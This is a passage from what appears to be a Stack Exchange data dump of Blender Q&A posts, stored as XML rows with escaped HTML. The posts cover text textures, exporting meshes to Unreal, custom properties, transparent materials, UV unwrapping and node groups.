setting Game Settings/enable Text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Cama.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Cama.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addional you need a special image as texture. It has meta informations regarding each single character encoded in the top line of the texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8wKOv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8wKOv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These data should never ever be changed. This also means you need an image format with lossless data compression such as .png or .tga (never jpg).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UV mapping of the quad should fit the first character in the texture which is an @ character. This is the maximal bounding of an character. The BGE will derive the size of all other characters from this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/41cjI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/41cjI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can generate such textures with a tool called &quot;FTBlender&quot; from fonts of your OS. Alternative you can search the internet for bitmap text images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method allows you to manipulate the image of each single letter as long as you leave the metadata unchanged. This way you can get very artistic and colored characters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: here is a sample image- baloon.png:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Im3F1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Im3F1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-06T05:58:38.260" LastActivityDate="2015-08-06T05:58:38.260" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35117" PostTypeId="1" CreationDate="2015-08-05T06:22:08.673" Score="2" ViewCount="104" Body="&lt;p&gt;Hello friends this is my first post here.. I just started my own project after tons of procrastinating, and after maybe 2 horus of Blender tutorials, i made a model. It's a submarine, i know it looks like a bomb but it's just the basic version, and it looks somewhat fine on Blender (and it's not finished yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yXYH0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yXYH0.png&quot; alt=&quot;How it looks on Blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now This is how the imported mesh looks on Unreal.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8riZK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8riZK.jpg&quot; alt=&quot;How i t looks on UnrealEd&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How it looks on UnrealEd Now the problem comes when importing it to UnrealEd, it seems like it smooths out the edges of the Mesh. There msut be a problem when exporting right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks ok if i uncheck the Apply Modifiers box, but it only renders half the submarine (Considering Mirror is a Blender modifier) and if i leave it checked it'll end up looking like pic 2. Even when selecting faces (which was the recommended option in the tutorial)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr Mesh looks ugly on unreal what should i do?&lt;/p&gt;&#xA;" OwnerUserId="16156" LastActivityDate="2016-07-30T19:15:09.927" Title="Issue when Exporting Mesh to UnrealEd" Tags="&lt;mesh&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35118" PostTypeId="1" CreationDate="2015-08-05T06:51:56.033" Score="3" ViewCount="1319" Body="&lt;p&gt;I try to add custom enum properties to a bone in order to change sub-surf levels and masking vertex groups of a mesh. Every time I run the script, it assigns the property like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l2cHs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l2cHs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br/&gt;&#xA;&lt;em&gt;Enum property state after running the script&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I close the blender, restart it and open up the file, the properties appear in integer values like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZmB7Z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZmB7Z.jpg&quot; alt=&quot; Why does enum changes to integer? &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I've figured out that this does not happen, if I reopen the file without restarting blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why does this happen?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B0jpq2cgNh8zdjd3N080anA5b1E/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend files&lt;/a&gt; (including the script in EnumPropCheck.blend)&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="3710" LastEditDate="2015-08-07T08:03:02.587" LastActivityDate="2015-08-07T08:03:02.587" Title="Why my custom enum property becomes an integer property after restart blender?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35119" PostTypeId="2" ParentId="35117" CreationDate="2015-08-05T06:52:44.790" Score="-1" Body="&lt;p&gt;Oh my. After a some search i've come up with the answers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Followed &lt;a href=&quot;https://stackoverflow.com/questions/22518253/how-to-handle-blenders-mirror-modifier-in-libgdx&quot;&gt;This&lt;/a&gt; and &lt;a href=&quot;http://answers.unity3d.com/questions/24224/i-import-a-model-from-blender-to-unitybut-it-is-al.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This&lt;/a&gt; which are basically the same answer. Worked like a charm.&lt;/p&gt;&#xA;" OwnerUserId="16156" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-08-05T06:52:44.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35120" PostTypeId="1" CreationDate="2015-08-05T07:29:24.427" Score="1" ViewCount="237" Body="&lt;p&gt;When using the smd import plugin, &lt;a href=&quot;http://steamreview.org/BlenderSourceTools/&quot; rel=&quot;nofollow&quot;&gt;http://steamreview.org/BlenderSourceTools/&lt;/a&gt;, I am able to import the 3d model with the correct materials, but the materials are all blank. It is tedious to select the texture file in the same folder as the model, assign it to the correct materials, turn on specular color, then repeat for the normal maps, turning off the color and turning off  show alpha and selecting normal map for hundreds of textures.Is there a way to import the files so that the material is assigned the correct textures or a plugin to assign textures to materials en masse?&lt;/p&gt;&#xA;" OwnerUserId="16158" LastActivityDate="2015-08-05T07:29:24.427" Title="Is there a way to automatically add a photo texture to materials of the same name?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;import&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35122" PostTypeId="2" ParentId="35108" CreationDate="2015-08-05T10:55:27.483" Score="6" Body="&lt;p&gt;I was able to do that with Texture/Mapping/Coordinates set to global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xl9O2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xl9O2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-05T11:01:54.427" LastActivityDate="2015-08-05T11:01:54.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35123" PostTypeId="2" ParentId="35113" CreationDate="2015-08-05T11:40:34.220" Score="0" Body="&lt;p&gt;You should report it, just in case there's a bug. Versions with number + letter (like 2.35a) have critical fixes, but almost certainly still have bugs that should be reported and documented.&lt;/p&gt;&#xA;" OwnerUserId="16162" LastEditorUserId="1653" LastEditDate="2015-08-06T15:45:40.533" LastActivityDate="2015-08-06T15:45:40.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35124" PostTypeId="1" CreationDate="2015-08-05T11:58:10.497" Score="0" ViewCount="741" Body="&lt;p&gt;Dear StackExchange Community,&#xA;I am currently trying to import a 3ds file into blender. The Problem is, that all the objects get imported into the origin of the coordinate system and have no extensiveness whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file I am trying to import is a 3D Model of parts of the city of Berlin, which is available for free.&#xA;&lt;a href=&quot;http://www.businesslocationcenter.de/berlin3d-downloadportal/&quot; rel=&quot;nofollow&quot;&gt;http://www.businesslocationcenter.de/berlin3d-downloadportal/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a suggestion as to what could solve my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers Luke&lt;/p&gt;&#xA;" OwnerUserId="16163" LastActivityDate="2015-08-15T15:49:16.683" Title="From *3ds-file Imported objects have no extensiveness and are all locaed in the origin" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35125" PostTypeId="1" AcceptedAnswerId="35126" CreationDate="2015-08-05T13:57:39.893" Score="5" ViewCount="2048" Body="&lt;p&gt;I'm trying to use Blender as my GUI content creator, and I'm writing plugins for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a brief look on the API document and noticed that &lt;em&gt;Object&lt;/em&gt;s have three matrices: world, local and basis. It is pretty easy to understand world and local matrix, and they work as I expected. However, I don't get the concept of basis matrix, and it can be disturbed by &lt;em&gt;Alt-O&lt;/em&gt; hotkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it seems local and world matrix is enough for me, I am still curious about the meaning of the basis matrix. So what does basis matrix stands for?&lt;/p&gt;&#xA;" OwnerUserId="15992" LastEditorUserId="241" LastEditDate="2015-08-05T14:01:01.177" LastActivityDate="2015-08-05T21:21:08.730" Title="What is matrix_basis?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35126" PostTypeId="2" ParentId="35125" CreationDate="2015-08-05T14:05:06.723" Score="6" Body="&lt;p&gt;From the documentation it states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Matrix access to location, rotation and scale (including deltas),&#xA;  before constraints and parenting are applied&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The key is that it is the matrix before constraints are applied, as some constraints can alter the local matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Object.html?highlight=object&quot; rel=&quot;nofollow&quot;&gt;API docs - bpy.types.Object&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="1363" LastEditDate="2015-08-05T21:21:08.730" LastActivityDate="2015-08-05T21:21:08.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35127" PostTypeId="1" AcceptedAnswerId="35165" CreationDate="2015-08-05T14:20:21.920" Score="8" ViewCount="48967" Body="&lt;p&gt;Is it possible to make a transparent Material in cycles render? How is it accomplished?&lt;/p&gt;&#xA;" OwnerUserId="15640" LastEditorUserId="2217" LastEditDate="2015-08-09T22:33:23.267" LastActivityDate="2019-12-17T23:38:26.317" Title="How to make transparent material in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35128" PostTypeId="1" CreationDate="2015-08-05T14:24:33.560" Score="1" ViewCount="787" Body="&lt;p&gt;so whenever I try to begin applying materials to an object in blender it crashes. The object is about 5&quot;x2&quot;x1&quot; so its not big at all and when I click on materials and click new material it instantly crashes. So I know its not the image I am trying to apply as a texture because I cannot make it that far before it crashes. Also there is no error or crash report that I have found so if one is generated please tell me where it is located and I can upload that. Is there anyway to fix this problem or a workaround that fixes it? Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="16166" LastEditorUserId="16166" LastEditDate="2015-08-05T17:29:30.620" LastActivityDate="2015-08-05T17:29:30.620" Title="Blender Crashes when trying to start applying materials is there a fix or workaround?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-05T15:46:53.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="35129" PostTypeId="1" AcceptedAnswerId="35132" CreationDate="2015-08-05T14:38:17.090" Score="3" ViewCount="892" Body="&lt;p&gt;I'm very new to Blender, so please bear with me with this (hopefully) easy to answer question. :) Just to get this cleared: I searched for a total of 4 hours to find a solution to this problem, but I couldn't find any! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DL9M5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DL9M5.png&quot; alt=&quot;Blimp that I want to put a text on (the text is an image)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the picture, I was trying to create a model of a blimp, which worked fine so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to put a text on the front part of the airship, about at the location of the selected faces (see picture). I'm not able to use the normal text tool in Blender, because the text is a logo which I can't recreate using the keyboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want to do now is put the text on the said surface (and ONLY there, not wrapped around the entire ship) but in a realistic way, as if somebody put a sticker on it (the text should bend with the curve of the hull). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd be able to move around the picture on the surface until it sits perfectly where I want it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Cycles Render because thats what the guy in the tutorials used that I followed on YouTube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for any help! :) &lt;/p&gt;&#xA;" OwnerUserId="16167" LastActivityDate="2015-08-05T15:19:11.120" Title="Putting transparent image on curved surface with specific placement (UV)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;uv&gt;&lt;image&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35130" PostTypeId="1" CreationDate="2015-08-05T15:00:12.803" Score="1" ViewCount="272" Body="&lt;p&gt;I feel there are some basic nodes currently missing from the node repertoire of the compositor and material editor. One such node (for me at least) is a &quot;vector&quot; node. This would be the 3D equivalent of the 1D &quot;Value&quot; node. Such node would takes 3 inputs X, Y, Z and have one vector output. Why the need for such a node? Some nodes take a vector as input (e.g. &quot;offset&quot; or &quot;scale&quot; etc), but you cannot connect a single value output of a node to the individual values of a 3 valued input. My solution was to create a &quot;vector&quot; group node in which I have XYZ single value inputs and use a &quot;Combine RGBA&quot; node to combine the XYZ values into one 3D (vector) value output. This works fine, however I want to have this custom node available to any of my blend files without having to always use append to grab this custom node any time i need it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is it possible to make a custom (compositor or material) node that is shared among blend files without explicitly importing that node by appending it from another file? .. perhaps via an add-on script that automatically creates these custom (group) nodes using the python node API?&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2015-08-05T18:17:25.127" Title="Share custom compositor nodes among blend files" Tags="&lt;nodes&gt;&lt;pynodes&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35131" PostTypeId="2" ParentId="35127" CreationDate="2015-08-05T15:02:00.333" Score="5" Body="&lt;p&gt;You can add a transparent shader, and with the mix node you can control the transparancy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G4Bz1.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G4Bz1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-05T15:02:00.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35132" PostTypeId="2" ParentId="35129" CreationDate="2015-08-05T15:19:11.120" Score="0" Body="&lt;p&gt;You have to go to your node set up of your material for your blimp and add a Mix RGB node in which you will plug your transparent texture in the bottom color and the alpha of your texture to the factor of the Mix RGB node. Your color for the whole blimp should go to the upper color, finally you plug the Mix RGB node to your Diffuse node and then to your Material Output/Surface. *Don't Forget to unwrap the part of the blimp you want your transparent texture to be assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rJJXr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rJJXr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. if you want to have textures insted of colors you will have to create a second UV map, *don't forget to give your texture node the right UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PF8yd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PF8yd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information I can recommend you this tutorial: *the blender version is quite old but the process is the same: &#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=dnmovLzKU44&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=dnmovLzKU44&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-05T15:19:11.120" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35133" PostTypeId="2" ParentId="35080" CreationDate="2015-08-05T15:21:40.070" Score="3" Body="&lt;p&gt;To make your model while rendered have that bright red color you see in Texture shading 3D view mode you can setup it in 2 ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the material shadeless:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QZ4Bh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QZ4Bh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xRyXC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xRyXC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's not good approach as it's much less flexible; you will loose possibility of the material to have shadows and thus it may not suit your needs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can setup a texture for your material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that material selected (&lt;code&gt;&quot;red full.001&quot;&lt;/code&gt; in your case) go to &lt;em&gt;Texture&lt;/em&gt; tab and create new one. Select it's type &lt;strong&gt;Blend&lt;/strong&gt; and check &lt;strong&gt;Ramp&lt;/strong&gt; option in  &lt;em&gt;Colors&lt;/em&gt; scroll. Delete one of the color stops, select another and copy the color from your material setup to this color stop (it may be easier to use &lt;em&gt;Hex triplet&lt;/em&gt; for that):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fyJky.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyJky.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br/&gt;&#xA;&lt;em&gt;Note: the texture should be checked to influence on the material (near its name in the list); I forgot to check it back when I made screenshots&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting material is bright, at the same time receiving shadows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F6VkK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F6VkK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also checked &lt;strong&gt;Color&lt;/strong&gt; checkbox in &lt;em&gt;Specular&lt;/em&gt; options in the &lt;em&gt;Influence&lt;/em&gt; scroll (so the texture to influence on the specularity, instead of material; to return material specularity color uncheck that).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-05T15:21:40.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35134" PostTypeId="1" CreationDate="2015-08-05T15:23:57.920" Score="2" ViewCount="15342" Body="&lt;p&gt;How can I mirror a cylinder using the &lt;strong&gt;Mirror Modifier&lt;/strong&gt; in order to get two cylinders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to edit one of the cylinders and get the same result on the mirrored one.&lt;/p&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="19287" LastEditDate="2016-03-23T13:35:32.123" LastActivityDate="2016-04-08T11:05:46.550" Title="How do I mirror an object using the mirror modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2016-03-24T02:21:43.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="35137" PostTypeId="1" CreationDate="2015-08-05T15:35:40.653" Score="7" ViewCount="9246" Body="&lt;p&gt;I'm unwrapping a deformed cube, so I've set all edges to be seams. When I unwrap, I get 6 polygons as expected, but I'd like there to be a gap between them on the UV map. Currently, they are all touching each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blender manual mentions a margin setting, but I cannot for the life of me find it, even after googling it, and the manual glossed over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using 2.71&lt;/p&gt;&#xA;" OwnerUserId="15445" LastActivityDate="2015-08-05T19:37:55.280" Title="Unwrap with Margins - Space out Islands" Tags="&lt;uv&gt;&lt;documentation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35138" PostTypeId="2" ParentId="35134" CreationDate="2015-08-05T15:37:35.107" Score="5" Body="&lt;p&gt;You have to position your &lt;em&gt;3D Cursor&lt;/em&gt; away from the cylinder, then press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and choose the 3rd option- &lt;strong&gt;&lt;em&gt;Origin to 3D Cursor&lt;/em&gt;&lt;/strong&gt;. Next add a &lt;em&gt;Mirror Modifier&lt;/em&gt; and choose the axis. Remember that the mirrored object appears on the same opposite distance from the origin, that's why you have to put your origin away from the Cylinder center, otherwise you will not be able to see any change, as your mirrored object will appear in the same position as your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QSHDv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QSHDv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="7797" LastEditDate="2015-08-05T15:52:18.633" LastActivityDate="2015-08-05T15:52:18.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35139" PostTypeId="2" ParentId="34582" CreationDate="2015-08-05T15:38:33.627" Score="2" Body="&lt;p&gt;Since in cycles nodes there isn't really a way to deal with an image &lt;em&gt;as a whole&lt;/em&gt;, only on &lt;em&gt;individual pixels&lt;/em&gt; this is technically impossible to do perfectly.  But I have come up with a very ugly method of doing it imperfectly, i.e. not sampling all the pixels of the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I made two group nodes, one which returns the maximum of two inputs, the other returns the minimum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the max node:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L7O93.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The min node is identical except that the math node is set to &lt;em&gt;Less Than&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now comes the ugly part.  What I did was to duplicate the image texture node several times. Each node is using a different vector so the more nodes you use the more places you sample the image.  The colors from each image texture node are sent through a progressive series of min and max nodes so the min and max nodes at the end will have the minimum and maximum of all the pixels sampled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QrCW5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QrCW5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example samples 11 pixels along a diagonal of the image and gives the minimum and maximum of each.  The more duplicates you make the more accurate the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file:&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/397/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=397&quot; /&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;The image I am using is CC-0 from Pixabay.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-08-05T15:38:33.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35140" PostTypeId="2" ParentId="35137" CreationDate="2015-08-05T15:41:46.233" Score="13" Body="&lt;p&gt;Once you've unwrapped your model, you can adjust the margin at the bottom of the &lt;em&gt;Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UC8lU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UC8lU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="3710" LastEditDate="2015-08-05T19:37:55.280" LastActivityDate="2015-08-05T19:37:55.280" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35141" PostTypeId="2" ParentId="35130" CreationDate="2015-08-05T16:09:49.767" Score="4" Body="&lt;p&gt;You could customize your start up file. &#xA;1. Open your start up file&#xA;2. Append the node groups you use a lot, click on the F in the node groups and delete the node groups.&#xA;3. Go to your default screen&#xA;4. &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt; save sart up file.&#xA;5. Close your file&#xA;6. Open a new file, go to the compositor, &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; --&gt; group --&gt; your node groups&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-05T16:09:49.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35142" PostTypeId="1" AcceptedAnswerId="35148" CreationDate="2015-08-05T17:27:58.853" Score="5" ViewCount="10774" Body="&lt;p&gt;I want to create paperhanging for my interior scene, and I want the Pattern on my Wallpaper to be Black and everything &lt;em&gt;else&lt;/em&gt; to be its normal color, I tried but everything I can make is exactly the opposite what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tuXEp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tuXEp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/keckn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/keckn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wMSME.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wMSME.png&quot; 